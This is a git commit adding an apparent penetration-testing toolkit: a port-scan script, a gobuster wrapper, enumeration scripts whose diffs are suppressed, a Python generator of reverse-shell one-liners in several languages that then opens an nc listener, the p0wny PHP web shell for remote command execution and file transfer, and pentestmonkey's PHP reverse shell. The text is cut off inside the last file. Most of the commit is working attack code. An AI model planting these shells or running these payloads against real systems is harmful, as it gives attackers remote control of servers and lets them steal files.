Initial Commit
This commit is contained in:
commit
a0476d4c17
1340
LinEnum.sh
Executable file
1340
LinEnum.sh
Executable file
File diff suppressed because it is too large
Load Diff
25
first_scan.sh
Executable file
25
first_scan.sh
Executable file
@ -0,0 +1,25 @@
|
|||||||
|
#!/usr/bin/bash
|
||||||
|
|
||||||
|
if [ $# -lt 1 ]; then
|
||||||
|
echo "Invalid usage: $0 <host>"
|
||||||
|
exit
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ "$EUID" -ne 0 ]; then
|
||||||
|
echo "[-] Script requires root permissions (e.g. nmap scan)"
|
||||||
|
exit
|
||||||
|
fi
|
||||||
|
|
||||||
|
IP_ADDRESS=$1
|
||||||
|
|
||||||
|
echo "[+] Checking online status…"
|
||||||
|
ping -c1 -W1 -q "${IP_ADDRESS}" &>/dev/null
|
||||||
|
status=$(echo $?)
|
||||||
|
|
||||||
|
if ! [[ $status == 0 ]] ; then
|
||||||
|
echo "[-] Target not reachable"
|
||||||
|
exit
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "[+] Scanning for open ports…"
|
||||||
|
nmap -A "${IP_ADDRESS}" -p 1-65535 -T 5 --stats-every 30s
|
61
genRevShell.py
Executable file
61
genRevShell.py
Executable file
@ -0,0 +1,61 @@
|
|||||||
|
#!/usr/bin/python
|
||||||
|
|
||||||
|
import socket
|
||||||
|
import sys
|
||||||
|
import subprocess
|
||||||
|
import netifaces as ni
|
||||||
|
|
||||||
|
def getLocalAddress():
|
||||||
|
interface = "tun0"
|
||||||
|
if not interface in ni.interfaces():
|
||||||
|
interface = ni.interfaces()[0]
|
||||||
|
|
||||||
|
addresses = ni.ifaddresses(interface)
|
||||||
|
address = addresses[next(iter(addresses))][0]["addr"]
|
||||||
|
return address
|
||||||
|
|
||||||
|
def generatePayload(type, local_address, port):
|
||||||
|
|
||||||
|
if type == "bash":
|
||||||
|
return "bash -i >& /dev/tcp/%s/%d 0>&1" % (local_address, port)
|
||||||
|
elif type == "perl":
|
||||||
|
return "perl -e 'use Socket;$i=\"%s\";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\");};'" % (local_address, port)
|
||||||
|
elif type == "python" or type == "python2" or type == "python3":
|
||||||
|
binary = type
|
||||||
|
return "%s -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"%s\",%d));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'" % (binary, local_address, port)
|
||||||
|
elif type == "php":
|
||||||
|
return "php -r '$sock=fsockopen(\"%s\",%d);exec(\"/bin/bash -i <&3 >&3 2>&3\");'" % (local_address, port)
|
||||||
|
elif type == "ruby":
|
||||||
|
return "ruby -rsocket -e'f=TCPSocket.open(\"%s\",%d).to_i;exec sprintf(\"/bin/bash -i <&%d >&%d 2>&%d\",f,f,f)'" % (local_address, port)
|
||||||
|
elif type == "netcat":
|
||||||
|
return "nc -e /bin/bash %s %d\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc %s %d >/tmp/f" % (local_address, port, local_address, port)
|
||||||
|
elif type == "java":
|
||||||
|
return "r = Runtime.getRuntime()\np = r.exec([\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/%s/%d;cat <&5 | while read line; do \\$line 2>&5 >&5; done\"] as String[])\np.waitFor()" % (local_address, port)
|
||||||
|
elif type == "xterm":
|
||||||
|
return "xterm -display %s:1" % (local_address)
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
|
||||||
|
if len(sys.argv) < 3:
|
||||||
|
print("Usage: %s <type> <port>" % sys.argv[0])
|
||||||
|
exit(1)
|
||||||
|
|
||||||
|
listen_port = int(sys.argv[2])
|
||||||
|
payload_type = sys.argv[1].lower()
|
||||||
|
|
||||||
|
local_address = getLocalAddress()
|
||||||
|
payload = generatePayload(payload_type, local_address, listen_port)
|
||||||
|
|
||||||
|
if payload is None:
|
||||||
|
print("Unknown payload type: %s" % payload_type)
|
||||||
|
print("Supported types: bash, perl, python[2|3], php, ruby, netcat, java, xterm")
|
||||||
|
exit(1)
|
||||||
|
|
||||||
|
print("---PAYLOAD---\n%s\n---PAYLOAD---\n" % payload)
|
||||||
|
|
||||||
|
if payload_type == "xterm":
|
||||||
|
print("You need to run the following commands (not tested):")
|
||||||
|
print("xhost +targetip")
|
||||||
|
print("Xnest :1")
|
||||||
|
else:
|
||||||
|
subprocess.call(["nc", "-lvvp", str(listen_port)])
|
16
gobuster.sh
Executable file
16
gobuster.sh
Executable file
@ -0,0 +1,16 @@
|
|||||||
|
#!/usr/bin/bash
|
||||||
|
|
||||||
|
if [ $# -lt 1 ]; then
|
||||||
|
echo "Invalid usage: $0 <host>"
|
||||||
|
exit
|
||||||
|
fi
|
||||||
|
|
||||||
|
HOST=$1
|
||||||
|
EXTENSIONS=""
|
||||||
|
|
||||||
|
if [ $# -gt 1 ]; then
|
||||||
|
EXTENSIONS="-x ${2}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
gobuster dir --url="${HOST}" --wordlist="/usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt" \
|
||||||
|
-k "${EXTENSIONS}" -b "403,404"
|
1419
linpeas.sh
Executable file
1419
linpeas.sh
Executable file
File diff suppressed because one or more lines are too long
460
p0wny-shell.php
Normal file
460
p0wny-shell.php
Normal file
@ -0,0 +1,460 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
function featureShell($cmd, $cwd) {
|
||||||
|
$stdout = array();
|
||||||
|
|
||||||
|
if (preg_match("/^\s*cd\s*$/", $cmd)) {
|
||||||
|
// pass
|
||||||
|
} elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
|
||||||
|
chdir($cwd);
|
||||||
|
preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
|
||||||
|
chdir($match[1]);
|
||||||
|
} elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) {
|
||||||
|
chdir($cwd);
|
||||||
|
preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
|
||||||
|
return featureDownload($match[1]);
|
||||||
|
} else {
|
||||||
|
chdir($cwd);
|
||||||
|
exec($cmd, $stdout);
|
||||||
|
}
|
||||||
|
|
||||||
|
return array(
|
||||||
|
"stdout" => $stdout,
|
||||||
|
"cwd" => getcwd()
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
function featurePwd() {
|
||||||
|
return array("cwd" => getcwd());
|
||||||
|
}
|
||||||
|
|
||||||
|
function featureHint($fileName, $cwd, $type) {
|
||||||
|
chdir($cwd);
|
||||||
|
if ($type == 'cmd') {
|
||||||
|
$cmd = "compgen -c $fileName";
|
||||||
|
} else {
|
||||||
|
$cmd = "compgen -f $fileName";
|
||||||
|
}
|
||||||
|
$cmd = "/bin/bash -c \"$cmd\"";
|
||||||
|
$files = explode("\n", shell_exec($cmd));
|
||||||
|
return array(
|
||||||
|
'files' => $files,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
function featureDownload($filePath) {
|
||||||
|
$file = @file_get_contents($filePath);
|
||||||
|
if ($file === FALSE) {
|
||||||
|
return array(
|
||||||
|
'stdout' => array('File not found / no read permission.'),
|
||||||
|
'cwd' => getcwd()
|
||||||
|
);
|
||||||
|
} else {
|
||||||
|
return array(
|
||||||
|
'name' => basename($filePath),
|
||||||
|
'file' => base64_encode($file)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function featureUpload($path, $file, $cwd) {
|
||||||
|
chdir($cwd);
|
||||||
|
$f = @fopen($path, 'wb');
|
||||||
|
if ($f === FALSE) {
|
||||||
|
return array(
|
||||||
|
'stdout' => array('Invalid path / no write permission.'),
|
||||||
|
'cwd' => getcwd()
|
||||||
|
);
|
||||||
|
} else {
|
||||||
|
fwrite($f, base64_decode($file));
|
||||||
|
fclose($f);
|
||||||
|
return array(
|
||||||
|
'stdout' => array('Done.'),
|
||||||
|
'cwd' => getcwd()
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (isset($_GET["feature"])) {
|
||||||
|
|
||||||
|
$response = NULL;
|
||||||
|
|
||||||
|
switch ($_GET["feature"]) {
|
||||||
|
case "shell":
|
||||||
|
$cmd = $_POST['cmd'];
|
||||||
|
if (!preg_match('/2>/', $cmd)) {
|
||||||
|
$cmd .= ' 2>&1';
|
||||||
|
}
|
||||||
|
$response = featureShell($cmd, $_POST["cwd"]);
|
||||||
|
break;
|
||||||
|
case "pwd":
|
||||||
|
$response = featurePwd();
|
||||||
|
break;
|
||||||
|
case "hint":
|
||||||
|
$response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
|
||||||
|
break;
|
||||||
|
case 'upload':
|
||||||
|
$response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);
|
||||||
|
}
|
||||||
|
|
||||||
|
header("Content-Type: application/json");
|
||||||
|
echo json_encode($response);
|
||||||
|
die();
|
||||||
|
}
|
||||||
|
|
||||||
|
?><!DOCTYPE html>
|
||||||
|
|
||||||
|
<html>
|
||||||
|
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8" />
|
||||||
|
<title>p0wny@shell:~#</title>
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||||
|
<style>
|
||||||
|
html, body {
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
background: #333;
|
||||||
|
color: #eee;
|
||||||
|
font-family: monospace;
|
||||||
|
}
|
||||||
|
|
||||||
|
#shell {
|
||||||
|
background: #222;
|
||||||
|
max-width: 800px;
|
||||||
|
margin: 50px auto 0 auto;
|
||||||
|
box-shadow: 0 0 5px rgba(0, 0, 0, .3);
|
||||||
|
font-size: 10pt;
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
align-items: stretch;
|
||||||
|
}
|
||||||
|
|
||||||
|
#shell-content {
|
||||||
|
height: 500px;
|
||||||
|
overflow: auto;
|
||||||
|
padding: 5px;
|
||||||
|
white-space: pre-wrap;
|
||||||
|
flex-grow: 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
#shell-logo {
|
||||||
|
font-weight: bold;
|
||||||
|
color: #FF4180;
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
@media (max-width: 991px) {
|
||||||
|
#shell-logo {
|
||||||
|
display: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
html, body, #shell {
|
||||||
|
height: 100%;
|
||||||
|
width: 100%;
|
||||||
|
max-width: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
#shell {
|
||||||
|
margin-top: 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@media (max-width: 767px) {
|
||||||
|
#shell-input {
|
||||||
|
flex-direction: column;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
.shell-prompt {
|
||||||
|
font-weight: bold;
|
||||||
|
color: #75DF0B;
|
||||||
|
}
|
||||||
|
|
||||||
|
.shell-prompt > span {
|
||||||
|
color: #1BC9E7;
|
||||||
|
}
|
||||||
|
|
||||||
|
#shell-input {
|
||||||
|
display: flex;
|
||||||
|
box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
|
||||||
|
border-top: rgba(255, 255, 255, .05) solid 1px;
|
||||||
|
}
|
||||||
|
|
||||||
|
#shell-input > label {
|
||||||
|
flex-grow: 0;
|
||||||
|
display: block;
|
||||||
|
padding: 0 5px;
|
||||||
|
height: 30px;
|
||||||
|
line-height: 30px;
|
||||||
|
}
|
||||||
|
|
||||||
|
#shell-input #shell-cmd {
|
||||||
|
height: 30px;
|
||||||
|
line-height: 30px;
|
||||||
|
border: none;
|
||||||
|
background: transparent;
|
||||||
|
color: #eee;
|
||||||
|
font-family: monospace;
|
||||||
|
font-size: 10pt;
|
||||||
|
width: 100%;
|
||||||
|
align-self: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
#shell-input div {
|
||||||
|
flex-grow: 1;
|
||||||
|
align-items: stretch;
|
||||||
|
}
|
||||||
|
|
||||||
|
#shell-input input {
|
||||||
|
outline: none;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
var CWD = null;
|
||||||
|
var commandHistory = [];
|
||||||
|
var historyPosition = 0;
|
||||||
|
var eShellCmdInput = null;
|
||||||
|
var eShellContent = null;
|
||||||
|
|
||||||
|
function _insertCommand(command) {
|
||||||
|
eShellContent.innerHTML += "\n\n";
|
||||||
|
eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
|
||||||
|
eShellContent.innerHTML += escapeHtml(command);
|
||||||
|
eShellContent.innerHTML += "\n";
|
||||||
|
eShellContent.scrollTop = eShellContent.scrollHeight;
|
||||||
|
}
|
||||||
|
|
||||||
|
function _insertStdout(stdout) {
|
||||||
|
eShellContent.innerHTML += escapeHtml(stdout);
|
||||||
|
eShellContent.scrollTop = eShellContent.scrollHeight;
|
||||||
|
}
|
||||||
|
|
||||||
|
function featureShell(command) {
|
||||||
|
|
||||||
|
_insertCommand(command);
|
||||||
|
if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
|
||||||
|
featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]);
|
||||||
|
} else if (/^\s*clear\s*$/.test(command)) {
|
||||||
|
// Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
|
||||||
|
eShellContent.innerHTML = '';
|
||||||
|
} else {
|
||||||
|
makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {
|
||||||
|
if (response.hasOwnProperty('file')) {
|
||||||
|
featureDownload(response.name, response.file)
|
||||||
|
} else {
|
||||||
|
_insertStdout(response.stdout.join("\n"));
|
||||||
|
updateCwd(response.cwd);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function featureHint() {
|
||||||
|
if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete
|
||||||
|
|
||||||
|
function _requestCallback(data) {
|
||||||
|
if (data.files.length <= 1) return; // no completion
|
||||||
|
|
||||||
|
if (data.files.length === 2) {
|
||||||
|
if (type === 'cmd') {
|
||||||
|
eShellCmdInput.value = data.files[0];
|
||||||
|
} else {
|
||||||
|
var currentValue = eShellCmdInput.value;
|
||||||
|
eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
_insertCommand(eShellCmdInput.value);
|
||||||
|
_insertStdout(data.files.join("\n"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
var currentCmd = eShellCmdInput.value.split(" ");
|
||||||
|
var type = (currentCmd.length === 1) ? "cmd" : "file";
|
||||||
|
var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];
|
||||||
|
|
||||||
|
makeRequest(
|
||||||
|
"?feature=hint",
|
||||||
|
{
|
||||||
|
filename: fileName,
|
||||||
|
cwd: CWD,
|
||||||
|
type: type
|
||||||
|
},
|
||||||
|
_requestCallback
|
||||||
|
);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
function featureDownload(name, file) {
|
||||||
|
var element = document.createElement('a');
|
||||||
|
element.setAttribute('href', 'data:application/octet-stream;base64,' + file);
|
||||||
|
element.setAttribute('download', name);
|
||||||
|
element.style.display = 'none';
|
||||||
|
document.body.appendChild(element);
|
||||||
|
element.click();
|
||||||
|
document.body.removeChild(element);
|
||||||
|
_insertStdout('Done.');
|
||||||
|
}
|
||||||
|
|
||||||
|
function featureUpload(path) {
|
||||||
|
var element = document.createElement('input');
|
||||||
|
element.setAttribute('type', 'file');
|
||||||
|
element.style.display = 'none';
|
||||||
|
document.body.appendChild(element);
|
||||||
|
element.addEventListener('change', function () {
|
||||||
|
var promise = getBase64(element.files[0]);
|
||||||
|
promise.then(function (file) {
|
||||||
|
makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {
|
||||||
|
_insertStdout(response.stdout.join("\n"));
|
||||||
|
updateCwd(response.cwd);
|
||||||
|
});
|
||||||
|
}, function () {
|
||||||
|
_insertStdout('An unknown client-side error occurred.');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
element.click();
|
||||||
|
document.body.removeChild(element);
|
||||||
|
}
|
||||||
|
|
||||||
|
function getBase64(file, onLoadCallback) {
|
||||||
|
return new Promise(function(resolve, reject) {
|
||||||
|
var reader = new FileReader();
|
||||||
|
reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };
|
||||||
|
reader.onerror = reject;
|
||||||
|
reader.readAsDataURL(file);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function genPrompt(cwd) {
|
||||||
|
cwd = cwd || "~";
|
||||||
|
var shortCwd = cwd;
|
||||||
|
if (cwd.split("/").length > 3) {
|
||||||
|
var splittedCwd = cwd.split("/");
|
||||||
|
shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
|
||||||
|
}
|
||||||
|
return "p0wny@shell:<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
|
||||||
|
}
|
||||||
|
|
||||||
|
function updateCwd(cwd) {
|
||||||
|
if (cwd) {
|
||||||
|
CWD = cwd;
|
||||||
|
_updatePrompt();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
makeRequest("?feature=pwd", {}, function(response) {
|
||||||
|
CWD = response.cwd;
|
||||||
|
_updatePrompt();
|
||||||
|
});
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
function escapeHtml(string) {
|
||||||
|
return string
|
||||||
|
.replace(/&/g, "&")
|
||||||
|
.replace(/</g, "<")
|
||||||
|
.replace(/>/g, ">");
|
||||||
|
}
|
||||||
|
|
||||||
|
function _updatePrompt() {
|
||||||
|
var eShellPrompt = document.getElementById("shell-prompt");
|
||||||
|
eShellPrompt.innerHTML = genPrompt(CWD);
|
||||||
|
}
|
||||||
|
|
||||||
|
function _onShellCmdKeyDown(event) {
|
||||||
|
switch (event.key) {
|
||||||
|
case "Enter":
|
||||||
|
featureShell(eShellCmdInput.value);
|
||||||
|
insertToHistory(eShellCmdInput.value);
|
||||||
|
eShellCmdInput.value = "";
|
||||||
|
break;
|
||||||
|
case "ArrowUp":
|
||||||
|
if (historyPosition > 0) {
|
||||||
|
historyPosition--;
|
||||||
|
eShellCmdInput.blur();
|
||||||
|
eShellCmdInput.focus();
|
||||||
|
eShellCmdInput.value = commandHistory[historyPosition];
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case "ArrowDown":
|
||||||
|
if (historyPosition >= commandHistory.length) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
historyPosition++;
|
||||||
|
if (historyPosition === commandHistory.length) {
|
||||||
|
eShellCmdInput.value = "";
|
||||||
|
} else {
|
||||||
|
eShellCmdInput.blur();
|
||||||
|
eShellCmdInput.focus();
|
||||||
|
eShellCmdInput.value = commandHistory[historyPosition];
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case 'Tab':
|
||||||
|
event.preventDefault();
|
||||||
|
featureHint();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function insertToHistory(cmd) {
|
||||||
|
commandHistory.push(cmd);
|
||||||
|
historyPosition = commandHistory.length;
|
||||||
|
}
|
||||||
|
|
||||||
|
function makeRequest(url, params, callback) {
|
||||||
|
function getQueryString() {
|
||||||
|
var a = [];
|
||||||
|
for (var key in params) {
|
||||||
|
if (params.hasOwnProperty(key)) {
|
||||||
|
a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return a.join("&");
|
||||||
|
}
|
||||||
|
var xhr = new XMLHttpRequest();
|
||||||
|
xhr.open("POST", url, true);
|
||||||
|
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
|
||||||
|
xhr.onreadystatechange = function() {
|
||||||
|
if (xhr.readyState === 4 && xhr.status === 200) {
|
||||||
|
try {
|
||||||
|
var responseJson = JSON.parse(xhr.responseText);
|
||||||
|
callback(responseJson);
|
||||||
|
} catch (error) {
|
||||||
|
alert("Error while parsing response: " + error);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
xhr.send(getQueryString());
|
||||||
|
}
|
||||||
|
|
||||||
|
window.onload = function() {
|
||||||
|
eShellCmdInput = document.getElementById("shell-cmd");
|
||||||
|
eShellContent = document.getElementById("shell-content");
|
||||||
|
updateCwd();
|
||||||
|
eShellCmdInput.focus();
|
||||||
|
};
|
||||||
|
</script>
|
||||||
|
</head>
|
||||||
|
|
||||||
|
<body>
|
||||||
|
<div id="shell">
|
||||||
|
<pre id="shell-content">
|
||||||
|
<div id="shell-logo">
|
||||||
|
___ ____ _ _ _ _ _ <span></span>
|
||||||
|
_ __ / _ \__ ___ __ _ _ / __ \ ___| |__ ___| | |_ /\/|| || |_ <span></span>
|
||||||
|
| '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_ .. _|<span></span>
|
||||||
|
| |_) | |_| |\ V V /| | | | |_| | | (_| \__ \ | | | __/ | |_ |_ _|<span></span>
|
||||||
|
| .__/ \___/ \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_) |_||_| <span></span>
|
||||||
|
|_| |___/ \____/ <span></span>
|
||||||
|
</div>
|
||||||
|
</pre>
|
||||||
|
<div id="shell-input">
|
||||||
|
<label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
|
||||||
|
<div>
|
||||||
|
<input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
|
||||||
|
</html>
|
189
php-reverse-shell.php
Normal file
189
php-reverse-shell.php
Normal file
@ -0,0 +1,189 @@
|
|||||||
|
<?php
|
||||||
|
// php-reverse-shell - A Reverse Shell implementation in PHP
|
||||||
|
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
|
||||||
|
//
|
||||||
|
// This tool may be used for legal purposes only. Users take full responsibility
|
||||||
|
// for any actions performed using this tool. The author accepts no liability
|
||||||
|
// for damage caused by this tool. If these terms are not acceptable to you, then
|
||||||
|
// do not use this tool.
|
||||||
|
//
|
||||||
|
// In all other respects the GPL version 2 applies:
|
||||||
|
//
|
||||||
|
// This program is free software; you can redistribute it and/or modify
|
||||||
|
// it under the terms of the GNU General Public License version 2 as
|
||||||
|
// published by the Free Software Foundation.
|
||||||
|
//
|
||||||
|
// This program is distributed in the hope that it will be useful,
|
||||||
|
// but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
// GNU General Public License for more details.
|
||||||
|
//
|
||||||
|
// You should have received a copy of the GNU General Public License along
|
||||||
|
// with this program; if not, write to the Free Software Foundation, Inc.,
|
||||||
|
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
|
||||||
|
//
|
||||||
|
// This tool may be used for legal purposes only. Users take full responsibility
|
||||||
|
// for any actions performed using this tool. If these terms are not acceptable to
|
||||||
|
// you, then do not use this tool.
|
||||||
|
//
|
||||||
|
// You are encouraged to send comments, improvements or suggestions to
|
||||||
|
// me at pentestmonkey@pentestmonkey.net
|
||||||
|
//
|
||||||
|
// Description
|
||||||
|
// -----------
|
||||||
|
// This script will make an outbound TCP connection to a hardcoded IP and port.
|
||||||
|
// The recipient will be given a shell running as the current user (apache normally).
|
||||||
|
//
|
||||||
|
// Limitations
|
||||||
|
// -----------
|
||||||
|
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
|
||||||
|
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
|
||||||
|
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
|
||||||
|
//
|
||||||
|
// Usage
|
||||||
|
// -----
|
||||||
|
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
|
||||||
|
|
||||||
|
set_time_limit (0);
|
||||||
|
$VERSION = "1.0";
|
||||||
|
$ip = $_GET["LHOST"];
|
||||||
|
$port = intval($_GET["LPORT"]);
|
||||||
|
$chunk_size = 1400;
|
||||||
|
$write_a = null;
|
||||||
|
$error_a = null;
|
||||||
|
$shell = 'uname -a; w; id; /bin/sh -i';
|
||||||
|
$daemon = 0;
|
||||||
|
$debug = 0;
|
||||||
|
|
||||||
|
//
|
||||||
|
// Daemonise ourself if possible to avoid zombies later
|
||||||
|
//
|
||||||
|
|
||||||
|
// pcntl_fork is hardly ever available, but will allow us to daemonise
|
||||||
|
// our php process and avoid zombies. Worth a try...
|
||||||
|
if (function_exists('pcntl_fork')) {
|
||||||
|
// Fork and have the parent process exit
|
||||||
|
$pid = pcntl_fork();
|
||||||
|
|
||||||
|
if ($pid == -1) {
|
||||||
|
printit("ERROR: Can't fork");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($pid) {
|
||||||
|
exit(0); // Parent exits
|
||||||
|
}
|
||||||
|
|
||||||
|
// Make the current process a session leader
|
||||||
|
// Will only succeed if we forked
|
||||||
|
if (posix_setsid() == -1) {
|
||||||
|
printit("Error: Can't setsid()");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
$daemon = 1;
|
||||||
|
} else {
|
||||||
|
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Change to a safe directory
|
||||||
|
chdir("/");
|
||||||
|
|
||||||
|
// Remove any umask we inherited
|
||||||
|
umask(0);
|
||||||
|
|
||||||
|
//
|
||||||
|
// Do the reverse shell...
|
||||||
|
//
|
||||||
|
|
||||||
|
// Open reverse connection
|
||||||
|
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
|
||||||
|
if (!$sock) {
|
||||||
|
printit("$errstr ($errno)");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Spawn shell process
|
||||||
|
$descriptorspec = array(
|
||||||
|
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
|
||||||
|
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
|
||||||
|
2 => array("pipe", "w") // stderr is a pipe that the child will write to
|
||||||
|
);
|
||||||
|
|
||||||
|
$process = proc_open($shell, $descriptorspec, $pipes);
|
||||||
|
|
||||||
|
if (!is_resource($process)) {
|
||||||
|
printit("ERROR: Can't spawn shell");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Set everything to non-blocking
|
||||||
|
// Reason: Occsionally reads will block, even though stream_select tells us they won't
|
||||||
|
stream_set_blocking($pipes[0], 0);
|
||||||
|
stream_set_blocking($pipes[1], 0);
|
||||||
|
stream_set_blocking($pipes[2], 0);
|
||||||
|
stream_set_blocking($sock, 0);
|
||||||
|
|
||||||
|
printit("Successfully opened reverse shell to $ip:$port");
|
||||||
|
|
||||||
|
while (1) {
|
||||||
|
// Check for end of TCP connection
|
||||||
|
if (feof($sock)) {
|
||||||
|
printit("ERROR: Shell connection terminated");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check for end of STDOUT
|
||||||
|
if (feof($pipes[1])) {
|
||||||
|
printit("ERROR: Shell process terminated");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Wait until a command is end down $sock, or some
|
||||||
|
// command output is available on STDOUT or STDERR
|
||||||
|
$read_a = array($sock, $pipes[1], $pipes[2]);
|
||||||
|
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
|
||||||
|
|
||||||
|
// If we can read from the TCP socket, send
|
||||||
|
// data to process's STDIN
|
||||||
|
if (in_array($sock, $read_a)) {
|
||||||
|
if ($debug) printit("SOCK READ");
|
||||||
|
$input = fread($sock, $chunk_size);
|
||||||
|
if ($debug) printit("SOCK: $input");
|
||||||
|
fwrite($pipes[0], $input);
|
||||||
|
}
|
||||||
|
|
||||||
|
// If we can read from the process's STDOUT
|
||||||
|
// send data down tcp connection
|
||||||
|
if (in_array($pipes[1], $read_a)) {
|
||||||
|
if ($debug) printit("STDOUT READ");
|
||||||
|
$input = fread($pipes[1], $chunk_size);
|
||||||
|
if ($debug) printit("STDOUT: $input");
|
||||||
|
fwrite($sock, $input);
|
||||||
|
}
|
||||||
|
|
||||||
|
// If we can read from the process's STDERR
|
||||||
|
// send data down tcp connection
|
||||||
|
if (in_array($pipes[2], $read_a)) {
|
||||||
|
if ($debug) printit("STDERR READ");
|
||||||
|
$input = fread($pipes[2], $chunk_size);
|
||||||
|
if ($debug) printit("STDERR: $input");
|
||||||
|
fwrite($sock, $input);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fclose($sock);
|
||||||
|
fclose($pipes[0]);
|
||||||
|
fclose($pipes[1]);
|
||||||
|
fclose($pipes[2]);
|
||||||
|
proc_close($process);
|
||||||
|
|
||||||
|
// Like print, but does nothing if we've daemonised ourself
|
||||||
|
// (I can't figure out how to redirect STDOUT like a proper daemon)
|
||||||
|
function printit ($string) {
|
||||||
|
if (!$daemon) {
|
||||||
|
